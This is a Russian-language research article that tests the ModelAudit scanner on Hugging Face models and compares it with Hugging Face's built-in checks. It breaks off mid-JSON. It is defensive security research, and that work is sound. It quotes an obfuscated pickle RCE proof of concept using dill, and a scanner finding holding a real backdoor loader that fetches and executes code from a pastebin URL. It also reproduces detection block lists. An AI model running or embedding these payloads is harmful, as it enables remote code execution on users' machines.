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Окружайте, так удобнее промахиваться! Встроенные в Hugging Face проверки ML-моделей против одного сканера

Содержание (кликабельно)

Введение

Результаты тренировки моделей машинного обучения желательно сохранять, и для этого существует огромное множество форматов хранения.

В предыдущей статье "Сканеры ML-моделей: разбор инструментов и некоторых методов обхода их проверок" был представлен обзор основных статических сканеров артефактов ML-моделей. В выводах сканер ModelAudit был выделен как наиболее зрелое решение среди проанализированных конкурентов по следующим критериям:

  • количество поддерживаемых к сканированию форматов хранения моделей

  • количество проверок под каждый формат моделей

  • результаты моих попыток обхода сканеров

  • наличие и качество документации

Но, как известно, количество не всегда отражает качество.

Для оценки возможностей сканера в более приближенных к реальности условиях я провел множество экспериментов и хочу поделиться двумя наиболее интересными:

  1. Сканирование подмножества моделей из Hugging Face, сериализованных в виде наиболее опасных форматов хранения моделей

  2. Сканирование таких моделей из Hugging Face, которые сами авторы пометили зловредными (в названии или описании) с последующим сравнением сработок ModelAudit с результатами проверок встроенных в HF инструментов

Немного спойлеров:

  1. По результатам первого эксперимента разобраны наиболее фолсящие проверки ModelAudit (некоторые из которых сгенерировали в сумме 700+ сработок в популярной модели Ultralytics/YOLO11)

  2. Второй эксперимент позволяет оценить разницу между результатами работы целого арсенала инструментов и всего лишь одного ModelAudit

  3. По ходу рассмотрим, как ML-модели практически без участия человека обслуживают инструментарий, созданный для проверки тех же моделей

На протяжении статьи я буду ссылаться на различные артефакты проведенных экспериментов, некоторые из них доступны в репозитории.

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Автор не несет ответственности за использование инфо

Меня зовут Вячеслав Мосин, я учусь в магистратуре AI Talent Hub в ИТМО и прохожу практику в лаборатории ITMO AI Security Lab. Эта статья написана в рамках работы лаборатории.

Первый эксперимент - сканируем модели в наиболее опасных форматах хранения

На Hugging Face опубликовано уже более 2,7 миллиона моделей — просканировать их все на обычном компьютере не получится и за год. Поэтому нам нужно сузить выборку: отобрать те модели, которые с наибольшей вероятностью окажутся опасными.

Для этого можно отбирать к дальнейшим проверкам только те модели, в репозиториях которых есть артефакты наиболее опасных форматов. Но какие форматы отнести к таким?

Разработчики ModelAudit сами дают ответ на этот вопрос – в описании проекта на PyPI они классифицировали совместимые форматы по уровням опасности:

Форматы хранения, поддерживаемые сканером ModelAudit, с разбивкой по уровню их опасности (на фото неполный список) – источник
Форматы хранения, поддерживаемые сканером ModelAudit, с разбивкой по уровню их опасности (на фото неполный список) – источник

Общая механика данного эксперимента стала следующей:

  1. При помощи HF API и библиотеки huggingface_hub формируем список идентификаторов репозиториев моделей на Hugging Face по следующим фильтрам:

    • Среди артефактов в репозитории модели должен присутствовать хотя бы один с типом из списка: '.pkl', '.pickle', '.dill', '.pt', '.pth', '.ckpt', '.bin', '.joblib', '.npy', '.npz'

    • Суммарный размер всех файлов в репозитории не должен превышать 1 ГБ (чтобы за меньшее время проверить большее число моделей)

    • Количество скачиваний модели за последний месяц не более 10000 (популярные модели с меньшей вероятностью могут оказаться зловредными)

    • Репозиторий должен быть открытым – не "gated" (на Hugging Face существуют репозитории, у которых "Model Card" доступна всем для просмотра, а для скачивания файлов нужно выполнить дополнительное действие, например, принять условия использования модели – для упрощения такие репозитории просто пропускаются)

  2. В цикле скачиваем модели и сканируем при помощи ModelAudit

  3. Сработки сохраняем в отдельный JSON

  4. Анализируем собранные данные

В такой постановке было просканировано 246 моделей, среди которых удалось найти 271 предупреждение безопасности критического уровня. Важно уточнить – скан одной лишь модели может содержать несколько десятков критических проблем.

Прежде чем перейти к статистике, зафиксируем несколько особенностей работы сканера.

Возможные уровни опасности (Severity) в результатах сканирования ModelAudit выглядят так (перевод документации):

  • CRITICAL: Критические проблемы безопасности, требующие немедленного устранения

  • WARNING: Потенциальные проблемы, требующие проверки

  • INFO: Информационные сообщения, не обязательно связанные с безопасностью

  • DEBUG: Дополнительные сведения (отображаются только с помощью --verbose)

ModelAudit состоит из множества внутренних сканеров, каждый из которых предназначен под определенный тип моделей и форматы их хранения, все они описаны в документации. В результатах моего эксперимента встречаются сработки от внутренних сканеров следующих типов:

  • unknown_check

  • pytorch_zip_check

  • pickle_check

  • license_warning

  • suspicious_url

  • safetensors_check

  • manifest_check

  • pytorch_binary_check

  • weight_distribution_check

  • zip_check

Наконец, перейдём к результатам – начнём с 15 наиболее проблематичных моделей по сумме сработок всех типов:

31b114c0d956d1e7df6055e9a0f4c3c0.png

Анализ сработок самой уловистой модели

Самая богатая на сработки модель Ultralytics/YOLO11 получила 728 предупреждений. Является ли это хорошим маркером зловредности модели? Вдобавок можно отметить её высокую популярность – неужели многие используют зловредную модель?

Чтобы не распыляться рассмотрим только критические предупреждения, всего их 35 штук. Из них 20 относятся к "type": "pickle_check" и 15 к "type": "pytorch_zip_check".

Анализ сработок с типом pickle_check:
Все критические сработки данного типа имеют одинаковые значения атрибута "message": Suspicious reference __builtin__.getattr", между этими сработками отличаются лишь названия артефактов, в которых они были найдены, ниже представлено несколько примеров таких сработок:

{
	"message": "Suspicious reference __builtin__.getattr",
	"severity": "IssueSeverity.CRITICAL",
	"location": "/app/assets/cloned_models/Ultralytics_YOLO11/yolo11n-seg.pt:yolo11n-seg/data.pkl",
	"details": {
		"module": "__builtin__",
		"function": "getattr",
		"opcode": "STACK_GLOBAL",
		"ml_context_confidence": 0.405,
		"pickle_filename": "yolo11n-seg/data.pkl"
	},
	"why": null,
	"timestamp": 1771364507.8307638,
	"type": "pickle_check"
},
...
{
	"message": "Suspicious reference __builtin__.getattr",
	"severity": "IssueSeverity.CRITICAL",
	"location": "/app/assets/cloned_models/Ultralytics_YOLO11/yolo11n-seg.pt:yolo11n-seg/data.pkl /app/assets/cloned_models/Ultralytics_YOLO11/yolo11n-seg.pt:yolo11n-seg/data.pkl (pos 138995)",
	"details": {
		"module": "__builtin__",
		"function": "getattr",
		"position": 138995,
		"opcode": "GLOBAL",
		"import_reference": "__builtin__.getattr",
		"ml_context_confidence": 0.405,
		"pickle_filename": "yolo11n-seg/data.pkl"
	},
	"why": null,
	"timestamp": 1771364507.8567154,
	"type": "pickle_check"
},
...

getattr(obj, name) — стандартная Python-функция, которая получает атрибут объекта по имени, переданному в виде строки. То есть getattr(obj, "method") эквивалентно obj.method. Эта функция может использоваться при создании зловредных файлов для обхода слишком наивных сканеров – при ее помощи можно импортировать любой объект по строке, которая, к примеру, до передачи в getattr может храниться отдельными кусками для усложнения анализа.

Но getattr часто используется в том числе и в легитимных моделях, поэтому нельзя назвать такую проверку точной, это подтверждается в том числе и статьей от компании JFrog, разрабатывающей собственный аналогичный сканер.

Анализ сработок с типом pytorch_zip_check:
Сработки этого типа между собой тоже имеют много общего - они подсвечивают разные артефакты модели Ultralytics/YOLO11 по наличию в них как минимум одного глобального имени из числа следующих:

"found_malicious": [
	"__builtin__.set",
	"__builtin__.getattr"
],
Пример одной из таких сработок
{
	"message": "CRITICAL: Malicious code detected: OBJ(33), NEWOBJ(33), BUILD(13) opcodes detected",
	"severity": "IssueSeverity.CRITICAL",
	"location": "/app/assets/cloned_models/Ultralytics_YOLO11/yolo11x.pt:yolo11x/data.pkl",
	"details": {
		"cve_id": "CVE-2025-32434",
		"opcode_counts": {
			"OBJ": 33,
			"NEWOBJ": 33,
			"BUILD": 13
		},
		"total_dangerous_opcodes": 79,
		"unique_opcode_types": [
			"OBJ",
			"BUILD",
			"NEWOBJ"
		],
		"code_execution_risks": [
			"New-style object creation",
			"Object creation code execution",
			"__setstate__ method exploitation"
		],
		"import_analysis": {
			"total_imports": 28,
			"all_legitimate": false,
			"found_malicious": [
				"__builtin__.set"
			],
			"found_imports": [
				"ultralytics.nn.modules.block.C3k2",
				"ultralytics.nn.modules.block.C2PSA",
				"ultralytics.nn.modules.block.DFL",
				...
			]
		},
		"safetensors_available": false,
		"assessment": "malicious",
		"vulnerability_description": "The weights_only=True parameter in torch.load() does not prevent code execution from pickle files, contrary to common security assumptions.",
		"recommendation": "DO NOT USE THIS MODEL - it contains malicious imports (__builtin__.set). This is likely a supply chain attack.",
		"affected_pytorch_versions": "All versions ≤2.5.1",
		"fixed_in": "PyTorch 2.6.0"
	},
	"why": null,
	"timestamp": 1771364422.0674577,
	"type": "pytorch_zip_check"
},

Функцию getattr мы уже разбирали, теперь поговорим про builtin.set – тип данных Python, реализующий коллекцию уникальных элементов (аналог математического множества). Как и getattr, он живёт в пространстве имён builtin и доступен без импорта. Это один из самых базовых и безобидных типов в языке.

Удивительно видеть сработку критического уровня, вызванную наличием стандартного типа данных, более того, безобидность использования set подтверждается в том числе и исходным кодом проверок типа pickle_check (modelaudit/scanners/pickle_scanner.py):

# Safe ML-specific global patterns (SECURITY: NO WILDCARDS - explicit lists only)
ML_SAFE_GLOBALS: dict[str, list[str]] = {
    # PyTorch - explicit functions only (no wildcards)
    "torch": [
        "Tensor",
        "FloatTensor",
        "LongTensor",
	...
    # Python builtins - safe built-in types and functions
    # NOTE: eval, exec, compile, __import__, open, file are NOT in this list (they remain dangerous)
    # NOTE: getattr, setattr, delattr, hasattr are NOT in this list
    # because attribute-access primitives must never be allowlisted.
    "__builtin__": [  # Python 2 builtins
        "set",
        "frozenset",
        "dict",
	...

Но внутренний сканер типа pytorch_zip_check не проверяет отдельные функции на легитимность – всё из пространства имен builtin считается зловредным (modelaudit/scanners/pytorch_zip_scanner.py#L1977):

modelaudit/scanners/pytorch_zip_scanner.py#L1977
class PyTorchZipScanner(BaseScanner):
    """Scanner for PyTorch Zip-based model files (.pt, .pth, .pkl, .bin)"""

    name = "pytorch_zip"
    description = "Scans PyTorch model files for suspicious code in embedded pickles"
	
	...

    def _analyze_pickle_imports(self, pickle_result: ScanResult) -> dict[str, Any]:
        """Analyze pickle imports to distinguish legitimate vs malicious patterns"""
        # Standard PyTorch imports that are expected in legitimate models
        legitimate_imports = { ... }

        # Malicious imports that indicate actual attack
        malicious_imports = {
            "os.system",
            "subprocess",
            "eval",
            "exec",
            "compile",
            "__builtin__",
            "builtins.eval",
            "builtins.exec",
            "webbrowser",
            "socket",
            "urllib",
        }

        found_imports = set()
        found_malicious = set()

        # Extract GLOBAL opcodes from ALL checks (both passed and failed)
        # This is important because legitimate imports are recorded as passed checks
        all_checks = pickle_result.issues + getattr(pickle_result, "checks", [])
        for check in all_checks:
            check_details = check.details or {}
            if "import_reference" in check_details:
                imp = check_details["import_reference"]
                found_imports.add(imp)
                # Check if this is a malicious import
                if any(mal in imp for mal in malicious_imports):
                    found_malicious.add(imp)

        # Determine if all imports are legitimate
        all_legitimate = (
            all(any(legit in imp for legit in legitimate_imports) for imp in found_imports) if found_imports else True
        )

        return {
            "total_imports": len(found_imports),
            "all_legitimate": all_legitimate,
            "found_malicious": list(found_malicious),
            "found_imports": list(found_imports),
        }

Из анализа сработок модели Ultralytics/YOLO11 можно сделать следующие выводы:

  • Высокое количество сработок (даже критических) не доказывает зловредность модели, а скорее служит сигналом для более детального ручного анализа – как самой модели, так и применяемых правил сканирования

  • Существуют такие функции, которые часто применяются при сериализации легитимных моделей и одновременно являются полезными для составления зловредных файлов (такие функции как, например, getattr), для проверок таких функций необходима сложная логика, которая на данный момент в ModelAudit реализована не для всех кейсов

Анализ всех критических сработок из сканирования первого подмножества моделей

Все фолсы критического уровня от самой проблематичной модели разобрали, далее необходимо проанализировать критические сработки по всем 246 просканированным моделям, среди которых только 34 модели имеют хотя бы одно предупреждение критического уровня опасности.

Первым делом оценим распределение критических алертов по типам сканеров:

8f408e6b5cad55bcb196882f2a90f12e.png

Сработки типа pytorch_binary_check
Оказалось, что все полученные сработки такого типа имеют одинаковое значение поля message: "Executable signature found: Windows executable (PE)". Ниже представлено несколько примеров таких сработок, найденных в модели apple/coreml-depth-anything-v2-small:

Примеры релевантных сработок
[
    {
        "model_id": "apple/coreml-depth-anything-v2-small",
        "status": "scanned",
        "issues": [
            {
                "message": "Executable signature found: Windows executable (PE)",
                "severity": "IssueSeverity.CRITICAL",
                "location": "/app/assets/cloned_models/apple_coreml-depth-anything-v2-small/DepthAnythingV2SmallF32P8.mlpackage/Data/com.apple.CoreML/weights/weight.bin (offset: 1112)",
                "details": {
                    "signature": "4d5a",
                    "description": "Windows executable (PE)",
                    "offset": 1112,
                    "total_found": 15,
                    "pattern_density_per_mb": 0.6,
                    "ml_context_confidence": 0.5415978856889626
                },
                "why": null,
                "timestamp": 1771278284.8888228,
                "type": "pytorch_binary_check"
            },
            {
                "message": "Executable signature found: Windows executable (PE)",
                "severity": "IssueSeverity.CRITICAL",
                "location": "/app/assets/cloned_models/apple_coreml-depth-anything-v2-small/DepthAnythingV2SmallF32P8.mlpackage/Data/com.apple.CoreML/weights/weight.bin (offset: 384294)",
                "details": {
                    "signature": "4d5a",
                    "description": "Windows executable (PE)",
                    "offset": 384294,
                    "total_found": 15,
                    "pattern_density_per_mb": 0.6,
                    "ml_context_confidence": 0.5415978856889626
                },
                "why": null,
                "timestamp": 1771278284.8889217,
                "type": "pytorch_binary_check"
            },
            {
                "message": "Executable signature found: Windows executable (PE)",
                "severity": "IssueSeverity.CRITICAL",
                "location": "/app/assets/cloned_models/apple_coreml-depth-anything-v2-small/DepthAnythingV2SmallF32P8.mlpackage/Data/com.apple.CoreML/weights/weight.bin (offset: 416485)",
                "details": {
                    "signature": "4d5a",
                    "description": "Windows executable (PE)",
                    "offset": 416485,
                    "total_found": 15,
                    "pattern_density_per_mb": 0.6,
                    "ml_context_confidence": 0.5415978856889626
                },
                "why": null,
                "timestamp": 1771278284.8889542,
                "type": "pytorch_binary_check"
            },
			...

Такие и аналогичные сработки генерирует сканер если в проверяемом файле удается найти одну из следующих сигнатур (modelaudit/detectors/suspicious_symbols.py#L565):

# Common executable file signatures found in malicious model data
EXECUTABLE_SIGNATURES: dict[bytes, str] = {
    b"MZ": "Windows executable (PE)",
    b"\x7fELF": "Linux executable (ELF)",
    b"\xfe\xed\xfa\xce": "macOS executable (Mach-O 32-bit)",
    b"\xfe\xed\xfa\xcf": "macOS executable (Mach-O 64-bit)",
    b"\xcf\xfa\xed\xfe": "macOS executable (Mach-O)",
    b"#!/": "Shell script shebang",
    b"#!/bin/": "Shell script shebang",
    b"#!/usr/bin/": "Shell script shebang",
}

Очевидно, что сигнатура из двух байтов слишком чувствительна – в пользу того, что все найденные срабатывания являются ложноположительными, свидетельствуют следующие факторы:

  • В помеченных моделях нет критически опасных сработок других типов

  • Среди отобранных все модели с такими сработками оказались опубликованными довольно известными компаниями (apple, OpenVINO, FluidInference)

Сработки типа pytorch_zip_check
Находки данного типа можно разделить на две группы:

  1. Cтриггерились на наличие в файлах моделей как минимум одного из следующих глобальных имен: __builtin__.set, __builtin__.getattr, __builtin__.dict - такие сработки мы уже разбирали ранее

  2. Сработки в моделях сохраненных при помощи TorchScript, пример описания одной из таких сработок: "Found 9 JIT/Script code risks across file"

Большинство сработок второй группы имеют одинаковый источник проблемы - им выступает название атрибута равное "input", которое используется во многих PyTorch методах и не представляет собой одноименную функцию. Это видно напрямую по "code_snippet" из каждой аналогичной сработки:

Пример релевантной сработки
{
	"message": "Dangerous builtin 'input' used in embedded code",
	"severity": "CRITICAL",
	"context": "/app/assets/cloned_models/bookbot_zipformer-streaming-robust-sw/exp-causal/jit_script_chunk_32_left_128.pt:jit_script_chunk_32_left_128/code/__torch__/torch/nn/modules/container.py.debug_pkl",
	"pattern": null,
	"recommendation": "Remove input usage - it can execute arbitrary code",
	"confidence": 0.9,
	"details": {},
	"framework": "TorchScript",
	"code_snippet": "def forward(self, input):\nq\u0002X\u001c\u0000\u0000\u0000        for module in self:\nq\u0003X\"\u0000\u0000\u0000            input = module(input)\nq\u0004X\u0015\u0000\u0000\u0000        return input\nq\u0005XX\u0000\u0000\u0000/root/miniconda3/envs/icefall/lib/python3.10/site-packages/torc",
	"type": "dangerous_builtin",
	"operation": null,
	"builtin": "input",
	"import_": null
}

Сработки типа pickle_check
Критических алертов такого типа в сумме 28 штук, из них 24 подсветили уже разобранную ранее проблему "Suspicious reference __builtin__.getattr5", оставшиеся 4 сработки сообщают об одной из следующих проблем:

  1. Suspicious reference dill._dill._load_type

  2. Found REDUCE opcode with non-allowlisted global: dill._dill._load_type. This may indicate CVE-2025-32434 exploitation (RCE via torch.load)

  3. Extreme stack depth (30001) - stopping scan for safety

Все алерты, связанные с dill._dill._load_type относятся к одной модели с названием DILHTWD/documentlayoutsegmentation_YOLOv8_ondoclaynet.

Разберем суть использования этого глобального имени. Dill - библиотека, расширяющая возможности стандартного протокола Pickle, его ключевой особенностью является возможность сохранять функции и лямбда-выражения, при этом Dill является одним из встроенных способов сериализации в PyTorch.

Пример сериализации с использованием Dill из предыдущей статьи:

import torch
import dill

def run_cmd(cmd):
    x = '__im'
    y = 'po'
    z = 'rt__'
    o = 'o'
    s = 's'
    import builtins
    module = getattr(builtins, x + y + z)(o + s)
    getattr(module, 'sys' + 'tem')(cmd)

class Exploit:
    def __reduce__(self):
        return (run_cmd, ("echo HACKED >> /tmp/hacked_obf",))

model = torch.nn.Linear(1, 1)
exploit = Exploit()

torch.save({'model': model, 'exploit': exploit}, 'malicious.pth', pickle_module=dill)

Возвращаясь к dill._dill._load_type - это вспомогательная функция десериализации внутри dill, которая восстанавливает Python-типы по их имени из внутренней таблицы _typemap.

Для моделей архитектуры YOLOv8 использование dill является стандартной практикой.

Выводы по первому эксперименту

По итогам данного этапа исследования у меня сформировалась следующая позиция – в ModelAudit заложены некоторые проверки, которые в определенных условиях позволяют находить действительно опасные объекты, но "шумность" многих проверок никак не учитывается при выборе критичности генерируемых ими сработок, следовательно, не следует судить о зловредности модели исключительно по количеству предупреждений.

Впрочем ложноположительные сработки лучше ложноотрицательных, так как если сгенерировались хоть какие-то находки, то их можно триажировать, а наиболее шумные правила доработать или вообще отключить.

Второй эксперимент - сканируем меченые модели

В предшествующем анализе удалось собрать аналитику по ошибкам типа "False Positive", но может возникнуть вопрос – раз ModelAudit так часто "фолзит" помечая легитимные модели зловредными, то как он поведет себя с действительно опасными моделями? И стоит ли вообще использовать ModelAudit, после всех тех проверок, которые и так прогоняются на Hugging Face?

Для получения ответов на эти вопросы был построен эксперимент со следующей последовательностью шагов:

  1. Поиск таких моделей, у которых в репозитории встречаются определенные ключевые слова, сигнализирующие о зловредности модели с высокой вероятностью – для этого использовался полнотекстовый поиск по Hugging Face с применением нескольких запросов: "malicious", "ACE" "PoC", "deserialization" "PoC" . В итоге получен список - parsed_raw_models_list.json

  2. Фильтрация списка через LLM: в контекст модели передаём название репозитория, его описание и результаты HF-проверок – на выходе получаем подборку filtered_models_list.json с наибольшей вероятностью зловредных моделей

  3. Сканирование итогового списка моделей через ModelAudit, с итогами сканирований можно ознакомиться в файле scanned_data.json

  4. Сопоставление итогов проведенного сканирования с результатами встроенных в HF проверок

Для первого ознакомления с результатами очередного сканирования снова построим гистограмму распределения сработок всех уровней критичности по 15 самым уловистым моделям. Сразу можно заметить несколько отличий от аналогичного распределения из первого эксперимента: процент критических сработок сильно выше, почти нет моделей с заоблачными количествами алертов (в предыдущем эксперименте было 9 моделей у которых больше 60 сработок, в текущем, как видно ниже, всего одна такая модель).

aa1ca51f32d2c1f0f46853b4e87a50b6.png

На предыдущей гистограмме высота столбцов в конце графика почти не убывала, поэтому ниже построена аналогичная гистограмма, но уже для 30 моделей:

bb6661deb86d6d0c3ce246ce4d08969f.png

Графики получились залипательные, но эксперимент задумывался с другой целью - сравнить сканирование при помощи одного инструмента с арсеналом встроенных в Hugging Face проверок.

Нюансы

Перед тем как перейти непосредственно к такому сканированию необходимо уточнить несколько нюансов:

Проблемы с проверками моделей на HF

Пример отображения результатов встроенных в HF проверок безопасности
Пример отображения результатов встроенных в HF проверок безопасности

Не для каждой модели отрабатывают все настроенные в HF проверки, причем по разным причинам - начиная с того, что инструменты имеют определенный список поддерживаемых к сканированию артефактов моделей и заканчивая аварийными падениями в процессе сканирования

Разные уровни опасности в сработках из Hugging Face и генерируемых через ModelAudit
Сработки, получаемые из HF API, нигде не задокументированы, но среди полученных мной данных были только вот такие варианты уровней опасности:

"level": "unscanned"
"level": "suspicious"
"level": "unsafe"
"level": "error"
"level": "caution"

При этом результаты сканирований при помощи ModelAudit могут получать следующие уровни критичности:

"severity": "IssueSeverity.DEBUG",
"severity": "IssueSeverity.CRITICAL",
"severity": "IssueSeverity.INFO",
"severity": "IssueSeverity.WARNING",

Интерпретация уровней опасности ModelAudit описана в документации.

Наложение результатов сканирования

Если быть точным - сравнивать будем результаты проверок не совсем моделей, а их репозиториев, внутри которых может быть разное число моделей.

В текущем сравнении опасными будем считать те репозитории для которых есть хотя бы одна сработка с одним из следующих уровней:

  • Для сработок из HF: 'suspicious', 'unsafe'

  • Для сработок от ModelAudit: 'IssueSeverity.CRITICAL', 'IssueSeverity.WARNING'

То есть алгоритм сравнения получается примерно следующим:

  1. Открываем репозиторий очередной модели и получаем артефакты проверок из двух источников: HF API и ModelAudit

  2. Проходимся по срабатываниям ModelAudit – если есть хотя бы один алерт с уровнем 'IssueSeverity.CRITICAL' или 'IssueSeverity.WARNING', то модель считается опасной по оценке ModelAudit

  3. Аналогично для HF - если среди срабатываний есть хотя бы один статус 'suspicious' или 'unsafe', то модель отмечаем опасной по оценке Hugging Face

  4. По результатам обхода всех моделей строим Confusion Matrix

В итоге и была построена следующая матрица:

bbadc38361b17ab46bf12ea1a18f41d8.png

Пояснение к матрице:

  • На главной диагонали расположены количества моделей, для которых и HF, и ModelAudit выдали одинаковые результаты проверок, среди них 154 модели были отмечены опасными обоими и, соответственно, 49 оценены как безопасные

  • На побочной диагонали распложены количества моделей в которых предсказания разошлись

На матрице видно 14 репозиториев моделей которых ModelAudit счел опасными, однако встроенные в HF проверки для них не нашли ничего подозрительного.

Это число можно попробовать увеличить, пометив опасными в том числе и те репозитории, которые имеют хотя бы один алерт от ModelAudit одного из уровней: 'IssueSeverity.CRITICAL', 'IssueSeverity.WARNING', 'IssueSeverity.INFO' (к предшествующему списку добавился уровень'IssueSeverity.INFO'). Но бывают ли действительно опасные сработки с уровнем INFO? Ещё как!

Ниже представлена одна из сработок, полученная при проверке модели jossefharush/gpt2-rs:

Пример релевантной сработки
{
  "model_id": "jossefharush/gpt2-rs",
  "status": "scanned",
  "issues": [
  ...
  {
	"message": "Found 4 network communication patterns (Domain name detected: pastebin.com, Network function call detected: urlopen, Network library detected: urllib, https://pastebin.com/raw/sVvZph7V, import urllib) across file",
	"severity": "IssueSeverity.INFO",
	"location": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl",
	"details": {
	  "findings_count": 4,
	  "findings": [
		{
		  "type": "url_detected",
		  "severity": "MEDIUM",
		  "confidence": 0.5,
		  "message": "URL detected in model: https://pastebin.com/raw/sVvZph7V",
		  "url": "https://pastebin.com/raw/sVvZph7V",
		  "position": 88,
		  "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl"
		},
		{
		  "type": "domain",
		  "severity": "MEDIUM",
		  "confidence": 0.8,
		  "message": "Domain name detected: pastebin.com",
		  "domain": "pastebin.com",
		  "position": 88,
		  "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl"
		},
		{
		  "type": "network_library",
		  "severity": "HIGH",
		  "confidence": 0.7,
		  "message": "Network library detected: urllib",
		  "library": "urllib",
		  "pattern": "import urllib",
		  "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl"
		},
		{
		  "type": "network_function",
		  "severity": "HIGH",
		  "confidence": 0.6,
		  "message": "Network function call detected: urlopen",
		  "function": "urlopen",
		  "snippet": "ec('''\nimport urllib.request; exec(urllib.request.urlopen(\"https://pastebin.com/raw/sVvZph7V\").read().decode())\n''') or dict()q\u0001q\u0002Rq\u0003(X\n\u0000\u0000\u0000wte.weight",
		  "context": "/app/assets/cloned_models/jossefharush_gpt2-rs/pytorch_model.bin:pytorch_model/data.pkl"
		}
	  ],
	  "total_findings": 4,
	  "patterns": [
		"Domain name detected: pastebin.com",
		"Network function call detected: urlopen",
		"Network library detected: urllib",
		"https://pastebin.com/raw/sVvZph7V",
		"import urllib",
		"pastebin.com"
	  ],
	  "aggregated": true,
	  "aggregation_type": "summary",
	  "pickle_filename": "pytorch_model/data.pkl"
	},
	"why": "Models should not contain network communication capabilities",
	"timestamp": 1773006354.5677795,
	"type": "pickle_check"
 },

Как видно, сканер нашел признаки объектов, связанных с сетевой активностью в файле jossefharush_gpt2rs/pytorch_model.bin:pytorch_model/data.pkl.

Одной из найденных ссылок является https://pastebin.com/raw/sVvZph7V – откроем ее:

4fa038774fa233ce5dd6ff9fe975a81f.png

Как видно, по ссылке лежит бэкдор, который при запуске на машине жертвы отправляет результаты выполнения любых команд с хоста жертвы на сервер злоумышленника. Довольно важная сработка.

Проведем новое сравнение, в котором опасными сработками ModelAudit будут считаться еще и те, которым присвоен уровень IssueSeverity.INFO:

224e505ec6a8118de39e26b2121c328a.png

HuggingFace сигнализирует об опасности, но ModelAudit пропускает

Суммарное число опасных алертов увеличилось, теперь проанализируем расхождения и сфокусируемся на тех случаях, когда HF отмечал модели опасными, а ModelAudit безопасными, это произошло с шестью моделями:

[
	"Iredteam/db-payload-chatbot",
	"etwithin/diffusers-ckpt-ace-poc",
	"etwithin/ckpt-scanner-bypass-poc",
	"etwithin/pytorch-tar-scanner-bypass-poc",
	"shaq4prez/malicious-olmo3-poc",
	"etwithin/pytorch-zip-scanner-bypass-poc"
]

Изначально я использовал ModelAudit версии 0.2.24, все вышеуказанные результаты были получены именно при помощи этой версии. Получив шесть потенциальных FN я обновил сканер до актуальной на тот момент версии – 0.2.28 и из шести FN осталось только три. Далее я убедился, что эти модели действительно зловредные (способы будут описаны ниже) и уже собирался зарепортить уязвимости обхода защиты ModelAudit, так как согласно его политике безопасности ошибки приводящие к FN в поддерживаемых к сканированию форматах хранения считаются уязвимостями.

Подготовившись к этому я снова обновился на актуальную версию (0.2.31) и уже в этой версии все ошибки были устранены – такая вот история.

Использованные техники триажа находок ModelAudit
Сканер ModelAudit является по-настоящему глубоко проработанным решением - в него встроено множество проверок под различные форматы хранения. Но способов хранения моделей существует еще больше чем проверок, притом одно и то же расширение файла в разных фреймворках может обозначать различные по структуре и содержанию артефакты. Один из таких примеров – расширение .ckpt (сокращение от «checkpoint»), применяемое в ряде фреймворков:

Такие нюансы создают сложности для сканера, это и оказалось причиной пропуска опасных моделей 'etwithin/ckpt-scanner-bypass-poc', 'etwithin/diffusers-ckpt-ace-poc'.

Изучим репозиторий 'etwithin/diffusers-ckpt-ace-poc' более подробно и для начала взглянем на результаты его проверок в самом HF:

Отображение на HF результатов проверок репозитория модели etwithin/diffusers-ckpt-ace-poc
Отображение на HF результатов проверок репозитория модели etwithin/diffusers-ckpt-ace-poc

Как видно, опасным является не весь репозиторий, а только один файл. Многие ML-модели хранятся внутри архивов, поэтому и откроем его архиватором:

89a8946bfabbb4dd9806121f2731e535.png

Внезапно – внутри Pickle, который должен без проблем сканироваться как при помощи ModelAudit, так и многими другими инструментами.

Начнем с ModelAudit (версия 0.2.28) – ниже представлены результаты сканирования data.pkl:

Результаты сканирования data.pkl через ModelAudit
{
  "bytes_scanned": 362,
  "issues": [
    {
      "message": "Legacy dangerous pattern detected: posix\nsystem",
      "severity": "warning",
      "location": ".\\etwithin_diffusers-ckpt-ace-poc\\data.pkl",
      "details": {
        "pattern": "posix\nsystem",
        "detection_method": "legacy_pattern_matching"
      },
      "timestamp": 1774903884.589092,
      "type": "pickle_check"
    },
    {
      "message": "Suspicious reference posix.system",
      "severity": "critical",
      "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl",
      "details": {
        "module": "posix",
        "function": "system",
        "opcode": "GLOBAL",
        "ml_context_confidence": 0.315
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1774903884.5986443,
      "type": "pickle_check",
      "rule_code": "S206"
    },
    {
      "message": "Suspicious reference posix.system",
      "severity": "critical",
      "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl (pos 276)",
      "details": {
        "module": "posix",
        "function": "system",
        "position": 276,
        "opcode": "GLOBAL",
        "import_reference": "posix.system",
        "import_only": false,
        "classification": "dangerous",
        "ml_context_confidence": 0.315
      },
      "why": "The 'posix' module provides direct access to POSIX system calls on Unix-like systems. Like the 'os' module, it can execute arbitrary system commands and manipulate the file system. The 'posix.system' function is equivalent to 'os.system' and poses the same security risks.",
      "timestamp": 1774903884.5995214,
      "type": "pickle_check",
      "rule_code": "S206"
    },
    {
      "message": "Found REDUCE opcode invoking dangerous global: posix.system",
      "severity": "critical",
      "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl (pos 357)",
      "details": {
        "position": 357,
        "opcode": "REDUCE",
        "associated_global": "posix.system",
        "origin_is_ext": false,
        "ml_context_confidence": 0.315
      },
      "why": "The REDUCE opcode calls a callable with arguments, effectively executing arbitrary Python functions. This is the primary mechanism for pickle-based code execution attacks through __reduce__ methods.",
      "timestamp": 1774903884.5997143,
      "type": "pickle_check",
      "rule_code": "S201"
    },
    {
      "message": "Detected dangerous __reduce__ pattern with posix.system",
      "severity": "critical",
      "location": ".\\cloned_models\\etwithin_diffusers-ckpt-ace-poc\\data.pkl (pos 357)",
      "details": {
        "pattern": "RESOLVED_REDUCE_CALL_TARGET",
        "module": "posix",
        "function": "system",
        "position": 357,
